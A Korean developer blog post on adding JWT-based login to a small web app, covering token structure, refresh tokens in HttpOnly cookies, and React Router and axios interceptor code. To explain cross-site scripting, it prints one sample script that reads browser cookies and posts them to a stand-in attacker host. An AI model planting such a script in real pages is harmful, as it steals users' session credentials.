Logo

Prolip's Blog

버거풋에 로그인 기능 도입하기..
  • #Project
  • #Burgerput

버거풋에 로그인 기능 도입하기..

Prolip

2024-06-30

JWT 토큰 사용해서 로그인 구현하기.. axios 인터셉터로 헤더에 토큰 넣기

오늘도 시작..

사실 이 온도 입력 기능은 버거풋에 대한 처음 포스팅에 나와있듯 잘못 기입할 경우 상당히 큰 피해를 입을 수 있는 과업입니다..

사실 버거풋에 로그인 기능이 없었습니다.

어라 그럼 웹에 공개되어 있으니 이거 누가 우연이라도 들어와서 이것저것 만지다가 잘못 입력하면 큰일나는 거 아니었나요??

네.. 큰일날 수 있었습니다.

접근 제한

Yellta씨와 자주 얘기했던 부분인데 처음에 버거풋에 대한 접근 제한 방법으로 아이피 제한을 걸어둘까 했습니다.

이유는

  1. 버거풋은 매장에서만 사용한다.
  2. 매장 컴퓨터의 아이피는 항상 고정적이다.

였습니다.

하지만 prolip과 yellta가 접근하는 아이피는 바뀔 수 있어 결국 로그인 기능을 도입하기로 합니다.

JWT (JSON Web Token)

JWT는 JSON 형식의 객체를 이용해 정보를 교환하고 인증 및 권한 부여에 주로 사용되는 토큰 기반 인증 방식입니다.

JWT는 다음과 같은 구성으로 이루어집니다.

Header

알고리즘과 토큰 유형을 명시합니다. 예를 들어 토큰이 JWT이며 어떤 암호화 알고리즘을 사용하는지 기록합니다.

{ "alg": "HS256", "typ": "JWT" }

Payload

사용자 정보와 클레임을 담고 있습니다. 클레임에는 사용자의 고유한 ID, 권한 정보, 만료 시간 등의 정보가 들어갈 수 있습니다.

여기서 클레임이란 JWT 페이로드에 포함된 정보 조각으로 사용자의 신원 및 권한, 토큰의 유효성 등을 나타냅니다.

클레임은 크게 3가지로 분류되는데 다음과 같습니다.

  • Registered Claims
    • JWT 표준에서 사전에 정의된 클레임으로 특정한 목적을 위해 사용됩니다. 이 클레임들은 JWT의 일관성과 상호 운용성을 보장하게 됩니다.
  • Public Claims
    • JWT 사용자가 자유롭게 정의할 수 있는 클레임으로 클레임 이름 충돌을 방지 하기 위해 URI 형태의 고유한 이름을 사용하는 것이 권장됩니다.
    • 예시로 name(사용자 이름), email(사용자 이메일), role(사용자 역할)이 사용될 수 있습니다.
  • Private Claims
    • 특정 클라이언트와 서버 간에만 사용되는 클레임으로 공개 클레임과 달리 고유하게 정의된 이름을 사용해 충돌을 방지합니다. 비공개 클레임은 기밀 정보를 포함할 수 있어 주의가 필요합니다.
    • 예시로 admin(사용자의 관리자 권한 여부), department(사용자의 부서 정보)가 사용될 수 있습니다.
{ "iss": "https://gojimin.com", "sub": "41245551", "aud": "https://api.gojimin.com", "exp": 1726380000, "iat": 1718431200, "name": "Jimin Go", "email": "Jimin@example.com", "admin": true, }

위 예시를 통해 각 클레임들이 어떤 유형에 속하는지 살펴보겠습니다.

  1. 아래 정리된 클레임들은 Registered Claims로 JWT 표준에 등록된 클레임입니다.
  • iss (Issuer): 토큰을 발급한 주체로 우리 블로그 도메인이 적혀있군요.
  • sub (Subject): 토큰의 주체를 나타내며 일반적으로 사용자 고유 ID를 저장하는데 사용됩니다.
  • aud (Audience): 토큰의 대상 수신자로 api 서버의 도메인이 적혀있습니다.
  • exp (Expiration Time): 토큰의 만료 시간으로 UNIX 타임스탬프를 사용합니다.
  • iat (Issued At): 토큰이 발급된 시간으로 마찬가지로 UNIX 타임스탬프를 사용합니다.
  1. 아래는 Public Claims들로 누구나 정의할 수 있지만 표준화된 클레임 이름은 아닙니다.
  • name은 사용자의 이름을 나타냅니다.
  • email은 사용자의 이메일을 나타냅니다.
  1. 마지막으로 Private Claim입니다.
  • admin은 관리자 권한 여부를 나타냅니다.

JWT는 클라이언트와 서버 간 인증에 사용되며 클라이언트는 로컬 스토리지나 세션 스토리지 혹은 쿠키에 저장해 인증 정보를 유지하게 됩니다.

eyJpc3MiOiAiaHR0cHM6Ly9nb2ppbWluLmNvbSIsICJzdWIiOiAiNDEyNDU1NTEiLCAiYXVkIjogImh0dHBzOi8vYXBpLmdvamltaW4uY29tIiwgImV4cCI6IDE3MjYzODAwMDAsICJpYXQiOiAxNzE4NDMxMjAwLCAibmFtZSI6ICJKaW1pbiBHbyIsICJlbWFpbCI6ICJKaW1pbkBleGFtcGxlLmNvbSIsICJhZG1pbiI6IHRydWV9

자 이제 위에서 본 예시를 인코딩해 JWT의 페이로드로 사용하는 예시를 볼까요!

..어라? 인코딩이면 누구나 디코딩을 할 수 있고 그럼 누구나 내용을 열어볼 수 있지 않나요?

네 실제로 Base64 Decode and Encode - Online 해당 링크에서 디코드를 실행하면 내용이 그대로 나옵니다.

JWT는 기본적으로 Base64Url 방식으로 인코딩되는데 이 인코딩은 암호화가 아니기 때문에 누구나 디코딩할 수 있습니다.

때문에 페이로드에 중요한 정보인 비밀번호, 혹은 카드 정보 등을 담아 주고 받다가 토큰을 탈취당하면 누구나 그 정보를 열람할 수 있기 때문에 중요한 정보를 포함하지 않는 것이 중요합니다.

JWT는 서명을 통해 무결성을 보장하지만 페이로드는 암호화되지 않습니다. 서명은 토큰이 발급된 후 변조되지 않았다는 것을 보장할 뿐 페이로드에 담긴 내용을 보호하지는 않습니다.

Signature

HeaderPayload를 결합해 이를 서버에서 보유한 비밀 키로 암호화해 Signature를 생성합니다. 이를 통해 토큰이 변조되지 않았는지 확인할 수 있게 됩니다.

base64UrlEncode(header) + "." + base64UrlEncode(payload)

보통 위와 같이 JWT의 헤더와 페이로드를 각각 Base64Url로 인코딩한 후 점(.)으로 연결합니다.

signature = 암호화알고리즘(HMAC, RSA 등)(
	base64UrlEncode(header) + "." + base64UrlEncode(payload), secretKey
)

이후 서버의 비밀 키와 지정된 암호화 알고리즘을 사용해 위에서 결합한 헤더와 페이로드를 암호화해 서명을 생성하게 됩니다.

JWT = base64UrlEncode(header) + "." + base64UrlEncode(payload) + "." + base64UrlEncode(signature)

그럼 위와 같이 최종적으로 헤더, 페이로드, 서명의 세 부분으로 구성된 JWT 토큰이 만들어지게 됩니다.

그럼 이 서명이 변조 방지에 어떻게 도움이 될까요?

클라이언트는 토큰을 받아 사용할 때 헤더와 페이로드 부분을 변경할 수 있습니다. 하지만 이렇게 변경하게 되면 서명이 더는 유효하지 않게 됩니다.

서버는 요청을 받을 때 헤더와 페이로드를 다시 결합하고 암호화에 사용한 비밀 키로 서명을 생성해 클라이언트가 보낸 원래의 서명과 일치하는지 비교합니다.

그럼 누군가 헤더나 페이로드를 변경했다면 이 변경된 내용으로는 올바른 서명이 생성되지 않으니 토큰이 변조되었음을 감지하고 요청을 거부하게 됩니다.

일반적인 로그인 과정

보통 JWT를 사용한 로그인 과정은 다음과 같습니다.

  1. 사용자의 인증 요청

사용자가 로그인 페이지에서 ID, 비밀번호를 입력합니다.

이 정보를 클라이언트 측에서 서버로 전송합니다.

  1. 서버의 사용자 인증

서버는 클라이언트에게 전달 받은 ID와 비밀번호를 DB에서 조회합니다.

사용자가 존재하며 비밀번호가 일치하면 인증에 성공하게 됩니다.

  1. JWT 토큰 발급

인증에 성공하면 서버는 위에서 설명한 JWT 토큰을 생성합니다.

  1. 클라이언트에게 토큰 전송

서버에서 생성된 토큰을 클라이언트로 보냅니다. 여기서 두 가지 토큰이 사용되는데

  • AccessToken
    • 엑세스 토큰은 사용자 인증 정보를 담고 있습니다. 클라이언트가 서버로 API를 요청할 때 헤더에 담아 전달해 사용자를 인증하는데 사용됩니다. 일반적으로 유효 기간이 짧아 탈취 당하더라도 큰 문제가 없습니다.
  • RefreshToken
    • 리프레쉬 토큰은 엑세스 토큰이 만료되었을 때 클라이언트가 다시 로그인하는 과정 없이 새로운 엑세스 토큰을 발급 받을 수 있게 합니다.
    • 리프레쉬 토큰은 일반적으로 엑세스 토큰보다 긴 유효 기간을 가지는데 버거풋은 3개월 정도의 기간을 가지고 있습니다.
  1. 클라이언트 측에서 토큰 저장

클라이언트는 서버로부터 전달된 토큰을 로컬 스토리지 등에 저장하게 됩니다.

  1. 인증된 API 요청

이제 토큰을 받은 클라이언트는 서버에 요청을 보낼 때 AccessToken을 Authorization 헤더에 담아 전송합니다. 일반적인 형식은 Bearer {토큰} 입니다.

서버는 이후 요청을 받을 때 JWT 토큰을 검증해 유효한 사용자인지 확인합니다.

  1. AccessToken 만료 및 갱신

만약 토큰이 만료된 경우 클라이언트는 RefreshToken을 사용해 새로운 AccessToken을 발급 받습니다.

서버는 RefreshToken이 유효한지 확인하고 새로운 AccessToken을 발급해줍니다.

  1. 로그아웃

클라이언트가 로그아웃할 경우 저장된 토큰들을 모두 삭제합니다. 이 때 서버에서 RefreshToken을 무효화할 수도 있습니다.

토큰을 어디에 저장할까요?

일반적으로 AccessToken은 탈취 당하더라도 유효 기간이 길지 않아 큰 문제가 되지 않습니다. 하지만 RefreshToken을 탈취 당할 경우 보안적인 문제가 발생할 수 있습니다.

버거풋은 AccessToken은 로컬 스토리지에 RefreshToken을 HttpOnly 쿠키로 관리합니다.

왜 HttpOnly 쿠키로 관리할까요?

XSS (Cross-Site Scripting) 공격

XSS 공격은 공격자가 웹 페이지에 악성 스크립트를 주입해 사용자의 브라우저에서 실행되도록 만드는 공격입니다.

사용자의 민감한 정보를 탈취하거나 사용자의 브라우저에서 실행 시킨 스크립트로 부적절한 행동을 유도하고, 다른 악의적인 활동을 수행하기 위한 공격이라고 볼 수 있습니다.

만약 리프레쉬 토큰을 그냥 쿠키에 저장한다고 가정해보겠습니다.

그럼 HttpOnly 속성이 없어 자바스크립트로 접근이 가능하게 되는데 자바스크립트는 브라우저 내에서 쿠키를 읽거나 수정할 수 있기 때문에 공격에 성공한다면 쿠키 정보를 탈취할 수 있게 됩니다.

<script> const cookies = document.cookie; fetch("http://jiminAttack.com/쿠키잘가져갑니다", { method: "POST", body: cookies ) </script>

물론 이렇게 허접한 공격에 당하기 어렵겠지만 만약 공격에 성공해 코드가 실행되면 사용자의 브라우저에 저장된 세션 쿠키, 인증 정보가 공격자의 서버로 전송됩니다.

혹은 옛날엔 통했다고 그러던대 게시판에 글을 쓰지 않습니까? 글에 스크립트 태그를 심어서 다른 사용자가 클릭하면 스크립트가 실행되는 공격도 있었다고 합니다.

HttpOnly 쿠키

그래서 버거풋은 RefreshToken을 HttpOnly 쿠키로 저장하게 되었습니다.

HttpOnly 쿠키는 자바스크립트로 접근할 수 없고 오직 HTTP 프로토콜을 통해서만 전송되는 쿠키입니다. 보안상 자바스크립트로 접근이 불가해 XSS 공격으로부터 보호할 수 있습니다.

HttpOnly 쿠키의 동작 흐름

  1. 서버 ⇒ 클라이언트

서버는 클라이언트로 리프레쉬 토큰을 전송할 때 Set-Cookie 헤더를 사용해 쿠키를 설정하게 됩니다. 이 때 HttpOnly 속성을 추가해 자바스크립트가 쿠키에 접근하지 못하도록 보호할 수 있습니다.

서버가 스프링부트로 구현되어 있는데 setHttpOnly(true)로 속성을 추가할 수 있었습니다.

그럼 해당 응답을 받은 브라우저는 리프레쉬 토큰을 쿠키로 저장하게 됩니다. 이 때 HttpOnly 속성으로 인해 클라이언트 측에서 자바스크립트로 접근할 수 없게 됩니다.

  1. 클라이언트 ⇒ 서버

이제 브라우저는 자동으로 HttpOnly 쿠키를 해당 도메인의 HTTP 요청에 포함시켜 서버에 전송합니다.

여전히 자바스크립트 코드에서 쿠키에 직접 접근하는 것이 불가하지만 브라우저가 알아서 HTTP 요청을 보낼 때 쿠키를 함께 전송합니다.

refreshtoken.png

위는 버거풋에서 엑세스 토큰이 만료되어 토큰을 갱신할 때의 Request Header로 쿠키에 저장된 토큰을 자동으로 전송합니다.

  1. 서버

이제 서버는 요청을 받을 때 Cookie 헤더에 포함된 리프레쉬 토큰을 확인합니다. 위에서 설명했듯 이 토큰은 클라이언트가 직접 전송하는 것이 아닌 브라우저가 알아서 전송합니다.

서버는 요청에 포함된 리프레쉬 토큰을 확인하고 이를 바탕으로 엑세스 토큰을 새로 발급해줍니다.

브라우저가 쿠키를 서버로 전송하는 방식

브라우저는 쿠키가 설정된 도메인에서 발생하는 모든 요청에 대해 해당 쿠키를 자동으로 포함시킵니다.

예를 들어 우리 버거풋의 서버측에서 리프레쉬 토큰 쿠키가 설정되었다면 브라우저는 해당 서버로 보내는 모든 HTTP 요청에 이 쿠키를 자동으로 추가합니다.

이 동작은 HTTP 요청에 의해 자동으로 처리되는 것으로 클라이언트 측에서 쿠키를 읽거나 관리하지 않습니다.

위처럼 쿠키가 자동으로 전송되기 위해서 필요한 조건들이 있습니다.

  • 쿠키의 도메인 일치

쿠키는 설정된 도메인에 대해서만 자동으로 전송됩니다. 즉 쿠키가 api.gojimin.com에서 설정되었다면 그 쿠키는 api.gojimin.com으로 요청을 보낼 때만 전송됩니다.

  • secure 속성

secure 속성이 설정된 경우 쿠키는 HTTPS 연결을 통해서만 전송됩니다. 즉 안전하지 않은 HTTP 연결에서는 쿠키가 전송되지 않습니다.

  • SameSite 속성

SameSite 속성이 설정된 경우 쿠키가 특정한 조건에서만 다른 도메인으로 전송되도록 제어할 수 있습니다.

SameSite=None으로 설정한다면 다른 도메인으로 요청할 때도 쿠키가 전송됩니다.

cookieoptions.png

버거풋은 클라이언트와 서버의 도메인이 달라 SameSite 설정을 None으로 설정해두었습니다만.. 이 설정에 대한 경고 문구가 항상 반겨줍니다..

해결 방안으로 보통 클라이언트 측 도메인이 gojimin.com일 경우 서버 도메인을 api.gojimin.com으로 설정해 SameSite 속성을 회피한다고 합니다만

도메인 구매한게 달라서 일단 이렇게 설정해뒀습니다.

버거풋에 적용하기

loader

일단 로그인에 성공했다고 치고 먼저 접근을 제한하는 방법에 대해 고민했습니다.

원래 Provider로 감싸서 토큰이 없으면 로그인 페이지로 리디렉션하는 방법을 생각 중이었는데 loader가 더 적합할 거 같았습니다.

react-router 6.4 버전 이상의 Data APIs 중 하나인 createBrowserRouter를 사용할 때 작동하는 loader는 각 경로를 렌더링하기 전에 경로 요소에 데이터를 제공하는 기능을 수행합니다.

여기서 로더는 병렬로 호출되어 useLoaderData를 통해 해당 경로에서 데이터를 사용하는 것 또한 가능합니다.

이 때 데이터를 로드하는 과정에서 사용자를 다른 경로로 리디렉션하는 것도 가능하기 때문에 App 컴포넌트를 렌더링하기 전에 loader를 이용해 AccessToken이 없을 경우 signin 경로로 사용자를 리디렉션 시킬 수 있도록 구현하게 되었습니다.

const checkAuth = () => { const token = localStorage.getItem("AccessToken"); if (!token) { throw redirect("/signin"); } return token; }; const router = createBrowserRouter([ { path: "/", element: <App />, errorElement: <NotFound />, loader: checkAuth, children: [ { path: "address", element: <EditAdminProfile />, loader: checkAuth }, ... { path: "zenput/random/food", element: <RandomFoodTemp />, loader: checkAuth, }, ], }, { path: "signin", element: <SignIn />, }, ]);

사용 방법은 간단합니다.

오히려 전 Provider를 사용해 감싸는 것보다 더 직관적이고 사용법이 간단해서 만족했습니다.

각 경로에 대해 element를 렌더링하기 전 loader를 통해 CheckAuth 함수로 토큰이 유효한지 검사합니다. 여기서 만약 토큰이 없다면 signin 페이지로 리디렉션하게 됩니다.

여기서 throw를 사용하는 이유는 React Router에서 로더가 리디렉션을 처리하는 방식과 관련이 있는데 로더에서 반환된 값이나 리디렉션은 비동기적으로 처리되기 때문에 예외를 던지는 방식으로 처리해야 됩니다.

즉 throw redirect는 단순한 함수 호출이 아닌 현재 실행 흐름을 중단하고 리디렉션을 즉시 처리하는 역할을 수행하게 됩니다. 마치 예외를 던져 해당 로더 함수가 실패했음을 알리고 그 결과로 리디렉션을 실행하는 것과 유사하다고 볼 수 있습니다.

로그인 폼

export async function signIn(data) { return await client .post("/signin", data) .then((res) => { if (res.status === 200) { const AccessToken = res.data.accessToken; localStorage.setItem("AccessToken", AccessToken); return res.status; } }) .catch((err) => { const { status, data } = err.response; if (status === 401) { return Promise.reject(data); } }); } export default function SignInForm() { const { register, handleSubmit, resetField, formState: { errors, isSubmitting }, } = useForm({ mode: "onSubmit" }); const [error, setError] = useState(null); const navigate = useNavigate(); const onSubmit = async (data) => { await signIn(data) .then((status) => { if (status === 200) { navigate("/"); } }) .catch((err) => { if (err === "Invalid username/password supplied") { resetField("password"); setError("비밀번호를 다시 한 번 확인해주세요."); } if (err === "Account not found") { resetField("id"); setError("존재하지 않는 아이디입니다. 다시 입력해주세요."); } }); }; return ( <form onSubmit={handleSubmit(onSubmit)}> {error && <p>{error}</p>} <article> <label htmlFor="id"> 아이디 </label> <input autoFocus id="id" type="text" autoComplete="off" {...register("id", { required: "아이디는 필수 입력 사항입니다.", })} /> {errors.id && ( <small>{errors.id.message}</small> )} </article> <article> <label htmlFor="password"> 비밀번호 </label> <input id="password" type="password" {...register("password", { required: "비밀번호는 필수 입력 사항입니다.", })} /> {errors.password && ( <small>{errors.password.message}</small> )} </article> <button disabled={isSubmitting}> 로그인 </button> </form> ); }

이제 접근 제한은 잘 되니까 로그인 폼을 구성해봅시다.

위 코드는 제가 사용 중인 로그인 폼 컴포넌트입니다. react-hook-form 사용했으니까 그냥 여기도 써봤습니다.

우선 제출 이벤트를 살펴보겠습니다. 제출 이벤트가 발생하면 signIn 함수를 실행해 서버로 폼 데이터를 전송합니다.

서버에서 클라이언트 측에서 보낸 아이디와 비밀번호를 확인해 사용자 정보가 일치하면 토큰을 반환합니다. 이 때 res의 status는 200으로 클라이언트 측에선 반환된 AccessToken을 로컬 스토리지에 저장하고 status 코드를 리턴합니다.

이후 다음 코드 블럭으로 이동해 200 코드를 확인한 후 메인 페이지로 리디렉션하게 됩니다.

만약 사용자 정보가 일치하지 않는 다면 서버는 401 Unauthorized 상태 코드를 반환하게 됩니다. 이는 로그인 실패를 의미합니다.

이 때 Promise.reject를 호출해 에러 정보를 onSubmit 함수로 전달하게 됩니다.

이후 .catch 블록에서 서버에서 제공한 에러 메세지를 받아 처리하게 됩니다.

사실 아이디가 틀렸는지 비밀번호가 틀렸는지 제공하면 안됩니다. 그럼 악의적인 공격자에게 힌트를 제공하는 경우가 되어버리는데.. 버거풋 매니저님들을 위해 우선 이렇게 구현했습니다.

요청 헤더에 토큰 담아 보내기

이제 토큰 잘 저장했는데 API 요청할 때 담아서 보내야겠죠?

// API 요청 헤더에 AccessToken을 포함 시켜 전송. client.interceptors.request.use( (config) => { const accessToken = localStorage.getItem("AccessToken"); if (accessToken) { config.headers["Authorization"] = `Bearer ${accessToken}`; } return config; }, (error) => Promise.reject(error) ); // 인증 정보가 없거나 잘못된 경우 client.interceptors.response.use( async (res) => { // 정상 범위에 있는 상태 코드일 경우 return res; }, async (error) => { const { config, response: { status, data }, } = error; if (status === 401 && data === "InvalidToken") { localStorage.removeItem("AccessToken"); window.location.href = "/signin"; return Promise.reject(error); } if (status === 401 && data === "TokenExpired") { const status = await ReissueToken(); if (status === 200) { return client(config); } else { localStorage.removeItem("AccessToken"); window.location.href = "/signin"; return Promise.reject(error); } } return Promise.reject(error); } ); async function ReissueToken() { return await client .post("/refresh-token") // .then((res) => { if (res.status === 200) { const AccessToken = res.data.accessToken; localStorage.setItem("AccessToken", AccessToken); return res.status; } }) .catch(() => { localStorage.removeItem("AccessToken"); window.location.href = "/signin"; return Promise.reject(error); }); }

저는 버거풋에서 axios를 사용 중입니다. axios의 인터셉터를 이용하면 간단하게 요청을 컨트롤할 수 있습니다..

  1. Request Interceptor

요청 인터셉터는 API 요청이 서버로 보내지기 전에 실행되는데 여기서 로컬 스토리지에 저장된 AccessToken을 읽어 요청 헤더에 포함시킬 수 있습니다.

이 방식을 사용하면 모든 API 요청에 자동으로 토큰을 헤더에 포함시킬 수 있습니다.

  1. Response Interceptor

응답 인터셉터는 서버의 응답을 처리하는 역할을 수행하는데 정상적인 응답일 경우 그대로 반환하여 요청한 함수에서 결과를 처리할 수 있게 합니다.

만약 401 Unauthorized 상태가 반환된다면 인증 실패를 의미합니다. 이 때 두 가지 경우로 나누어 처리합니다.

  • InvalidToken:
    • 서버가 401 상태 코드와 함께 InvalidToken 메세지를 반환한다면 이는 유효하지 않은 토큰임을 나타냅니다.
    • 이 때 로컬 스토리지에 저장된 AccessToken을 삭제하고 사용자에게 로그인 페이지로 리다이렉트 시킵니다.
  • TokenExpired:
    • 서버가 401 상태코드와 함께 TokenExpired 메세지를 반환한다면 이는 엑세스 토큰이 만료된 상태임을 의미합니다.
    • 이 경우 ReissueToken 함수를 호출해 새로운 엑세스 토큰을 재발급 받습니다.
    • ReissueToken의 body가 비어있는 이유는 위에서 설명했듯 HttpOnly 쿠키로 저장된 리프레쉬 토큰이 브라우저에 의해 자동으로 전송되기 때문입니다.
    • 재발급이 성공한다면 이전 요청을 재시도해 실패한 요청을 다시 실행합니다. 만약 재발급이 실패한다면 엑세스 토큰을 삭제하고 로그인 페이지로 이동합니다.

loginpage.png

짜잔 이렇게 로그인 기능을 도입하게 됩니다.

마치며..

HttpOnly 쿠키 사용하면 CORS 문제 터집니다. 뭐 사실 그건 큰 문제는 아니니까요..

.

.

.

뿅..

react-hook-form에 rc-slider 곁들이기..

react-hook-form에 rc-slider 곁들이기..

웹소켓으로 통신해보기..

웹소켓으로 통신해보기..